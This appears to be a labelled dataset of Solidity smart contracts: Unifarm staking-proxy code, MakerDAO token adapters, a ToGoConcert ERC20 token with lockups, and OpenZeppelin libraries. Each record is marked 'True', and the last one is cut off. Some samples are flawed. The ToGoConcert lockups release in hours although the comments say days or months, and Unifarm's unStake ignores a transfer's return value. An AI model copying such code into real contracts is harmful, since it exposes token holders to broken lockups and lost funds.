function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File contracts/abstract/IERC20.sol
pragma solidity >=0.6.0 <=0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/legacy/UnifarmV1.sol
pragma solidity ^0.7.0;
abstract contract Admin {
struct tokenInfo {
bool isExist;
uint8 decimal;
uint256 userStakeLimit;
uint256 maxStake;
}
uint256 public stakeDuration;
mapping(address => address[]) public tokensSequenceList;
mapping(address => mapping(address => uint256)) public tokenDailyDistribution;
mapping(address => mapping(address => bool)) public tokenBlockedStatus;
mapping(address => tokenInfo) public tokenDetails;
}
abstract contract UnifarmV1 is Admin {
mapping(address => uint256) public totalStaking;
function viewStakingDetails(address _user)
external
view
virtual
returns (
address[] memory,
bool[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory
);
}
// File contracts/proxy/AdminV1Proxy.sol
pragma solidity ^0.7.6;
abstract contract AdminV1Proxy {
mapping(address => uint256) public totalUnStakingB;
mapping(address => uint256) public totalUnStakingA;
mapping(address => mapping(uint256 => bool)) public unstakeStatus;
function safeWithdraw(address tokenAddress, uint256 amount) external virtual;
function transferOwnership(address newOwner) external virtual;
function owner() external virtual returns (address);
}
// File contracts/proxy/U1Proxy.sol
pragma solidity ^0.7.6;
abstract contract U1Proxy is AdminV1Proxy {}
// File contracts/U1ProxyUpgradeAdmin.sol
pragma solidity ^0.7.6;
contract U1ProxyUpgradeAdmin is Ownable {
/// @notice u1 Instance
UnifarmV1 public u1;
/// @notice u1Proxy Instance
U1Proxy public u1Proxy;
mapping(address => address[]) public tokensSequenceList;
mapping(address => mapping(address => uint256)) public tokenDailyDistribution;
uint256[] public intervalDays = [1, 8, 15, 22, 29];
/// @notice poolStartTime when pool starts
uint256 public poolStartTime;
event TokenDetails(
address indexed tokenAddress,
uint256 userStakeimit,
uint256 totalStakeLimit,
uint256 Time
);
event WithdrawDetails(
address indexed tokenAddress,
uint256 withdrawalAmount,
uint256 time
);
constructor() Ownable(msg.sender) {}
function setDailyDistribution(
address[] memory stakedToken,
address[] memory rewardToken,
uint256[] memory dailyDistribution
) public onlyOwner {
require(
stakedToken.length == rewardToken.length &&
rewardToken.length == dailyDistribution.length,
"Invalid Input"
);
for (uint8 i = 0; i < stakedToken.length; i++) {
tokenDailyDistribution[stakedToken[i]][
rewardToken[i]
] = dailyDistribution[i];
}
}
function updateSequence(
address stakedToken,
address[] memory rewardTokenSequence
) public onlyOwner {
tokensSequenceList[stakedToken] = new address[](0);
for (uint8 i = 0; i < rewardTokenSequence.length; i++) {
require(
rewardTokenSequence.length <= intervalDays.length,
" Invalid Index"
);
tokensSequenceList[stakedToken].push(rewardTokenSequence[i]);
}
}
function safeWithdraw(address tokenAddress, uint256 amount)
external
onlyOwner
{
require(
IERC20(tokenAddress).balanceOf(address(this)) >= amount,
"SAFEWITHDRAW: Insufficient Balance"
);
require(
IERC20(tokenAddress).transfer(_owner, amount) == true,
"SAFEWITHDRAW: Transfer failed"
);
emit WithdrawDetails(tokenAddress, amount, block.timestamp);
}
function setPoolStartTime(uint256 epoch) external onlyOwner returns (bool) {
poolStartTime = epoch;
return true;
}
function setLegacyU1Addresses(address u1_, address u1Proxy_)
external
onlyOwner
returns (bool)
{
u1 = UnifarmV1(u1_);
u1Proxy = U1Proxy(u1Proxy_);
return true;
}
}
// File contracts/U1ProxyUpgradablity.sol
pragma solidity ^0.7.6;
contract U1ProxyUpgradablity is U1ProxyUpgradeAdmin {
/// @notice SafeMath using for arithmatic operations
using SafeMath for uint256;
/// @notice DAYS stand 86400 seconds
uint256 public constant DAYS = 1 days;
/// @notice u1UpgradeTotalUnstaking to update totalUnStaking in U1Upgrade;
mapping(address => uint256) public u1UpgradeTotalUnStaking;
/// @notice u1UnstakeStatus return true or false basis of you active staking.
mapping(address => mapping(uint256 => bool)) public u1UnstakeStatus;
/// @notice event IntervalDaysDetails emit on every update of Intervaldays.
event IntervalDaysDetails(uint256[] updatedIntervals, uint256 time);
event Claim(
address indexed userAddress,
address indexed stakedTokenAddress,
address indexed tokenAddress,
uint256 claimRewards,
uint256 time
);
event UnStake(
address indexed userAddress,
address indexed unStakedtokenAddress,
uint256 unStakedAmount,
uint256 time,
uint256 stakeID
);
function init(address[] memory tokenAddress)
external
onlyOwner
returns (bool)
{
for (uint256 i = 0; i < tokenAddress.length; i++) {
safeTransfer(tokenAddress[i]);
}
return true;
}
function safeTransfer(address tokenAddress) internal {
uint256 bal = IERC20(tokenAddress).balanceOf(address(u1Proxy));
if (bal > 0) u1Proxy.safeWithdraw(tokenAddress, bal);
}
function updateIntervalDays(uint256[] memory _interval) external onlyOwner {
intervalDays = new uint256[](0);
for (uint8 i = 0; i < _interval.length; i++) {
uint256 noD = u1.stakeDuration().div(DAYS);
require(noD > _interval[i], "Invalid Interval Day");
intervalDays.push(_interval[i]);
}
emit IntervalDaysDetails(intervalDays, block.timestamp);
}
function transferV1ProxyOwnership(address newOwner) external onlyOwner {
u1Proxy.transferOwnership(newOwner);
}
/**
* @notice Get rewards for one day
* @param stakedAmount Stake amount of the user
* @param stakedToken Staked token address of the user
* @param rewardToken Reward token address
* @param totalStake Reward token address
* @return reward One dayh reward for the user
*/
function getOneDayReward(
uint256 stakedAmount,
address stakedToken,
address rewardToken,
uint256 totalStake
) public view returns (uint256 reward) {
reward = (
stakedAmount.mul(tokenDailyDistribution[stakedToken][rewardToken])
)
.div(totalStake);
return reward;
}
/**
* @notice send rewards
* @param stakedToken Stake amount of the user
* @param tokenAddress Reward token address
* @param amount Amount to be transferred as reward
*/
function sendToken(
address user,
address stakedToken,
address tokenAddress,
uint256 amount
) internal {
// Checks
if (tokenAddress != address(0)) {
require(
IERC20(tokenAddress).balanceOf(address(this)) >= amount,
"SEND : Insufficient Balance"
);
// Transfer of rewards
require(IERC20(tokenAddress).transfer(user, amount), "Transfer failed");
// Emit state changes
emit Claim(user, stakedToken, tokenAddress, amount, block.timestamp);
}
}
function totalStaking(address tokenAddress) public view returns (uint256) {
uint256 actualUnStaking = u1UpgradeTotalUnStaking[tokenAddress]
.add(u1Proxy.totalUnStakingB(tokenAddress))
.add(u1Proxy.totalUnStakingA(tokenAddress));
return u1.totalStaking(tokenAddress).sub(actualUnStaking);
}
/**
* @notice Unstake and claim rewards
* @param stakeId Stake ID of the user
*/
function unStake(address user, uint256 stakeId) external whenNotPaused {
require(
msg.sender == user || msg.sender == _owner,
"UNSTAKE: Invalid User Entry"
);
(
address[] memory tokenAddress,
bool[] memory activeStatus,
,
uint256[] memory stakedAmount,
uint256[] memory startTime
) = (u1.viewStakingDetails(user));
bool isAlreadyUnstaked = u1Proxy.unstakeStatus(user, stakeId);
// Checks
if (
u1UnstakeStatus[user][stakeId] == false &&
activeStatus[stakeId] == true &&
isAlreadyUnstaked == false
) u1UnstakeStatus[user][stakeId] = true;
else revert("UNSTAKE : Unstaked Already");
// State updation
uint256 actualStaking = totalStaking(tokenAddress[stakeId]);
// increase total unstaking
u1UpgradeTotalUnStaking[tokenAddress[stakeId]] = u1UpgradeTotalUnStaking[
tokenAddress[stakeId]
]
.add(stakedAmount[stakeId]);
// Balance check
require(
IERC20(tokenAddress[stakeId]).balanceOf(address(this)) >=
stakedAmount[stakeId],
"UNSTAKE : Insufficient Balance"
);
IERC20(tokenAddress[stakeId]).transfer(user, stakedAmount[stakeId]);
if (startTime[stakeId] < poolStartTime.add(u1.stakeDuration())) {
claimRewards(
user,
startTime[stakeId],
stakedAmount[stakeId],
tokenAddress[stakeId],
actualStaking
);
}
// emit state changes
emit UnStake(
user,
tokenAddress[stakeId],
stakedAmount[stakeId],
block.timestamp,
stakeId
);
}
function claimRewards(
address user,
uint256 stakeTime,
uint256 stakedAmount,
address stakedToken,
uint256 totalStake
) internal {
// Local variables
uint256 interval;
uint256 endOfProfit;
interval = poolStartTime.add(u1.stakeDuration());
if (interval > block.timestamp) endOfProfit = block.timestamp;
else endOfProfit = interval;
interval = endOfProfit.sub(stakeTime);
// Reward calculation
if (interval >= DAYS)
_rewardCalculation(user, stakedAmount, interval, stakedToken, totalStake);
}
function _rewardCalculation(
address user,
uint256 stakedAmount,
uint256 interval,
address stakedToken,
uint256 totalStake
) internal {
uint256 rewardsEarned;
uint256 noOfDays;
noOfDays = interval.div(DAYS);
rewardsEarned = noOfDays.mul(
getOneDayReward(stakedAmount, stakedToken, stakedToken, totalStake)
);
// send reward
sendToken(user, stakedToken, stakedToken, rewardsEarned);
uint8 i = 1;
while (i < intervalDays.length) {
if (noOfDays >= intervalDays[i]) {
uint256 balDays = noOfDays.sub((intervalDays[i].sub(1)));
address rewardToken = tokensSequenceList[stakedToken][i];
if (
rewardToken != stakedToken &&
u1.tokenBlockedStatus(stakedToken, rewardToken) == false
) {
rewardsEarned = balDays.mul(
getOneDayReward(stakedAmount, stakedToken, rewardToken, totalStake)
);
// send reward
sendToken(user, stakedToken, rewardToken, rewardsEarned);
}
i = i + 1;
} else {
break;
}
}
}
function emergencyUnstake(
uint256 stakeId,
address userAddress,
address[] memory rewardtokens,
uint256[] memory amount
) external onlyOwner {
(
address[] memory tokenAddress,
bool[] memory activeStatus,
,
uint256[] memory stakedAmount,
) = (u1.viewStakingDetails(userAddress));
bool isAlreadyUnstaked = u1Proxy.unstakeStatus(userAddress, stakeId);
if (
u1UnstakeStatus[userAddress][stakeId] == false &&
isAlreadyUnstaked == false &&
activeStatus[stakeId] == true
) u1UnstakeStatus[userAddress][stakeId] = true;
else revert("EMERGENCY: Unstaked Already");
// Balance check
require(
IERC20(tokenAddress[stakeId]).balanceOf(address(this)) >=
stakedAmount[stakeId],
"EMERGENCY : Insufficient Balance"
);
IERC20(tokenAddress[stakeId]).transfer(userAddress, stakedAmount[stakeId]);
for (uint256 i; i < rewardtokens.length; i++) {
require(
IERC20(rewardtokens[i]).balanceOf(address(this)) >= amount[i],
"EMERGENCY : Insufficient Reward Balance"
);
sendToken(userAddress, tokenAddress[stakeId], rewardtokens[i], amount[i]);
}
u1UpgradeTotalUnStaking[tokenAddress[stakeId]] = u1UpgradeTotalUnStaking[
tokenAddress[stakeId]
]
.add(stakedAmount[stakeId]);
// Emit state changes
emit UnStake(
userAddress,
tokenAddress[stakeId],
stakeId,
stakedAmount[stakeId],
block.timestamp
);
}
function lockContract(bool pauseStatus) external onlyOwner {
if (pauseStatus == true) _pause();
else if (pauseStatus == false) _unpause();
}
} | True | [
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// SPDX-License-Identifier: AGPL-3.0-or-later
/// join.sol -- Basic token adapters
// Copyright (C) 2018 Rain <[email protected]>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity >=0.5.12;
contract LibNote {
event LogNote(
bytes4 indexed sig,
address indexed usr,
bytes32 indexed arg1,
bytes32 indexed arg2,
bytes data
) anonymous;
modifier note {
_;
assembly {
// log an 'anonymous' event with a constant 6 words of calldata
// and four indexed topics: selector, caller, arg1 and arg2
let mark := msize() // end of memory ensures zero
mstore(0x40, add(mark, 288)) // update free memory pointer
mstore(mark, 0x20) // bytes type data offset
mstore(add(mark, 0x20), 224) // bytes size (padded)
calldatacopy(add(mark, 0x40), 0, 224) // bytes payload
log4(mark, 288, // calldata
shl(224, shr(224, calldataload(0))), // msg.sig
caller(), // msg.sender
calldataload(4), // arg1
calldataload(36) // arg2
)
}
}
}
interface GemLike {
function decimals() external view returns (uint);
function transfer(address,uint) external returns (bool);
function transferFrom(address,address,uint) external returns (bool);
}
interface DSTokenLike {
function mint(address,uint) external;
function burn(address,uint) external;
}
interface VatLike {
function slip(bytes32,address,int) external;
function move(address,address,uint) external;
}
/*
Here we provide *adapters* to connect the Vat to arbitrary external
token implementations, creating a bounded context for the Vat. The
adapters here are provided as working examples:
- `GemJoin`: For well behaved ERC20 tokens, with simple transfer
semantics.
- `ETHJoin`: For native Ether.
- `DaiJoin`: For connecting internal Dai balances to an external
`DSToken` implementation.
In practice, adapter implementations will be varied and specific to
individual collateral types, accounting for different transfer
semantics and token standards.
Adapters need to implement two basic methods:
- `join`: enter collateral into the system
- `exit`: remove collateral from the system
*/
contract GemJoin is LibNote {
// --- Auth ---
mapping (address => uint) public wards;
function rely(address usr) external note auth { wards[usr] = 1; }
function deny(address usr) external note auth { wards[usr] = 0; }
modifier auth {
require(wards[msg.sender] == 1, "GemJoin/not-authorized");
_;
}
VatLike public vat; // CDP Engine
bytes32 public ilk; // Collateral Type
GemLike public gem;
uint public dec;
uint public live; // Active Flag
constructor(address vat_, bytes32 ilk_, address gem_) public {
wards[msg.sender] = 1;
live = 1;
vat = VatLike(vat_);
ilk = ilk_;
gem = GemLike(gem_);
dec = gem.decimals();
}
function cage() external note auth {
live = 0;
}
function join(address usr, uint wad) external note {
require(live == 1, "GemJoin/not-live");
require(int(wad) >= 0, "GemJoin/overflow");
vat.slip(ilk, usr, int(wad));
require(gem.transferFrom(msg.sender, address(this), wad), "GemJoin/failed-transfer");
}
function exit(address usr, uint wad) external note {
require(wad <= 2 ** 255, "GemJoin/overflow");
vat.slip(ilk, msg.sender, -int(wad));
require(gem.transfer(usr, wad), "GemJoin/failed-transfer");
}
} | True | [
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pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_from != address(0));
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract ToGoConcert is StandardToken, Ownable {
string public name = "ToGoConcert";
string public symbol = "TGC";
uint public decimals = 18;
// The token allocation
uint public constant TOTAL_SUPPLY = 10000000000e18;
uint public constant ALLOC_ECOSYSTEM = 10000000000e18; // 30%
//uint public constant ALLOC_FOUNDATION = 2100000000e18; // 20%
//uint public constant ALLOC_TEAM = 450000000e18; // 15%
//uint public constant ALLOC_PARTNER = 300000000e18; // 10%
//uint public constant ALLOC_SALE = 750000000e18; // 25%
// wallets
address public constant WALLET_ECOSYSTEM = 0x47b6358164b81d500fb16c33ae3e91223fae2086;
//address public constant WALLET_FOUNDATION = 0xbF96a0452A3388488673006bE65bC928BDe780d6;
//address public constant WALLET_TEAM = 0x9f255092008F6163395aEB35c4Dec58a1ecbdFd6;
//address public constant WALLET_PARTNER = 0xD6d64A62A7fF8F55841b0DD2c02d5052457bCA6c;
//address public constant WALLET_SALE = 0x55aaeC60E116086AC3a5e4fDC74b21de9B91CC53;
// 2 groups of lockup
mapping(address => uint256) public contributors_locked;
mapping(address => uint256) public investors_locked;
// 2 types of releasing
mapping(address => uint256) public contributors_countdownDate;
mapping(address => uint256) public investors_deliveryDate;
// MODIFIER
// checks if the address can transfer certain amount of tokens
modifier canTransfer(address _sender, uint256 _value) {
require(_sender != address(0));
uint256 remaining = balances[_sender].sub(_value);
uint256 totalLockAmt = 0;
if (contributors_locked[_sender] > 0) {
totalLockAmt = totalLockAmt.add(getLockedAmount_contributors(_sender));
}
if (investors_locked[_sender] > 0) {
totalLockAmt = totalLockAmt.add(getLockedAmount_investors(_sender));
}
require(remaining >= totalLockAmt);
_;
}
// EVENTS
event UpdatedLockingState(string whom, address indexed to, uint256 value, uint256 date);
// FUNCTIONS
function ToGoConcert() public {
balances[msg.sender] = TOTAL_SUPPLY;
totalSupply = TOTAL_SUPPLY;
// do the distribution of the token, in token transfer
transfer(WALLET_ECOSYSTEM, ALLOC_ECOSYSTEM);
//transfer(WALLET_FOUNDATION, ALLOC_FOUNDATION);
//transfer(WALLET_TEAM, ALLOC_TEAM);
//transfer(WALLET_PARTNER, ALLOC_PARTNER);
//transfer(WALLET_SALE, ALLOC_SALE);
}
// get contributors' locked amount of token
// this lockup will be released in 8 batches which take place every 180 days
function getLockedAmount_contributors(address _contributor)
public
constant
returns (uint256)
{
uint256 countdownDate = contributors_countdownDate[_contributor];
uint256 lockedAmt = contributors_locked[_contributor];
if (now <= countdownDate + 1 hours) {return lockedAmt;}
if (now <= countdownDate + 2 hours) {return lockedAmt.mul(7).div(8);}
if (now <= countdownDate + 3 hours) {return lockedAmt.mul(6).div(8);}
if (now <= countdownDate + 4 hours) {return lockedAmt.mul(5).div(8);}
if (now <= countdownDate + 5 hours) {return lockedAmt.mul(4).div(8);}
if (now <= countdownDate + 6 hours) {return lockedAmt.mul(3).div(8);}
if (now <= countdownDate + 7 hours) {return lockedAmt.mul(2).div(8);}
if (now <= countdownDate + 8 hours) {return lockedAmt.mul(1).div(8);}
return 0;
}
// get investors' locked amount of token
// this lockup will be released in 3 batches:
// 1. on delievery date
// 2. three months after the delivery date
// 3. six months after the delivery date
function getLockedAmount_investors(address _investor)
public
constant
returns (uint256)
{
uint256 delieveryDate = investors_deliveryDate[_investor];
uint256 lockedAmt = investors_locked[_investor];
if (now <= delieveryDate) {return lockedAmt;}
if (now <= delieveryDate + 1 hours) {return lockedAmt.mul(2).div(3);}
if (now <= delieveryDate + 2 hours) {return lockedAmt.mul(1).div(3);}
return 0;
}
// set lockup for contributors
function setLockup_contributors(address _contributor, uint256 _value, uint256 _countdownDate)
public
onlyOwner
{
require(_contributor != address(0));
contributors_locked[_contributor] = _value;
contributors_countdownDate[_contributor] = _countdownDate;
UpdatedLockingState("contributor", _contributor, _value, _countdownDate);
}
// set lockup for strategic investor
function setLockup_investors(address _investor, uint256 _value, uint256 _delieveryDate)
public
onlyOwner
{
require(_investor != address(0));
investors_locked[_investor] = _value;
investors_deliveryDate[_investor] = _delieveryDate;
UpdatedLockingState("investor", _investor, _value, _delieveryDate);
}
// Transfer amount of tokens from sender account to recipient.
function transfer(address _to, uint _value)
public
canTransfer(msg.sender, _value)
returns (bool success)
{
return super.transfer(_to, _value);
}
// Transfer amount of tokens from a specified address to a recipient.
function transferFrom(address _from, address _to, uint _value)
public
canTransfer(_from, _value)
returns (bool success)
{
return super.transferFrom(_from, _to, _value);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-05
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
